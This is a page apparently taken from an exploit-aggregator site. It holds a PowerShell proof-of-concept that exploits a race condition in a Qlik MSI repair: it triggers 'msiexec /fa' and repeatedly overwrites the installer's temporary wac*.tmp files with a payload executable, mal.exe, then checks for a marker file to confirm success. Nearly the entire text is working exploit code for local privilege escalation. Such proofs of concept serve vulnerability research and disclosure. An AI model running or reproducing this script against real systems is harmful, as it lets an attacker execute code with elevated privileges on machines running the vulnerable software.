4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / toctou.ps1 PS1
$path = $env:LOCALAPPDATA + "\Temp"
#$ErrorActionPreference = "silentlycontinue"

Write-Host "Cleaning up, so QLIK spawns its own wac file" 
Get-ChildItem -Path $path -Force -Filter wac*.tmp -ErrorAction "silentlycontinue" | Select-Object -ExpandProperty FullName | Remove-Item
Get-ChildItem -Path "C:\Users\Public" -Force -Filter poc.txt | Remove-item

Write-Host "Running the MSI file"
Start-Process -FilePath "msiexec.exe" -ArgumentList "/fa qlik.msi"

Write-Host 'Done, now DIRing' $path 
Write-Host "injection loop begins now; if you see errors - thats good"

while ($True){
	Get-ChildItem -Path $path -Force -Filter wac*.tmp -ErrorAction "silentlycontinue" | Select-Object -ExpandProperty FullName | foreach($_){ 
	Copy-Item mal.exe ($_) 
	$poc = Get-ChildItem -Force -Filter poc.txt -Path "C:\Users\Public"
	if ($poc){
		Write-host "SUCCESS! poc.txt is here, the exploitation seems to have completed successfully"
		break
        	}
	}
}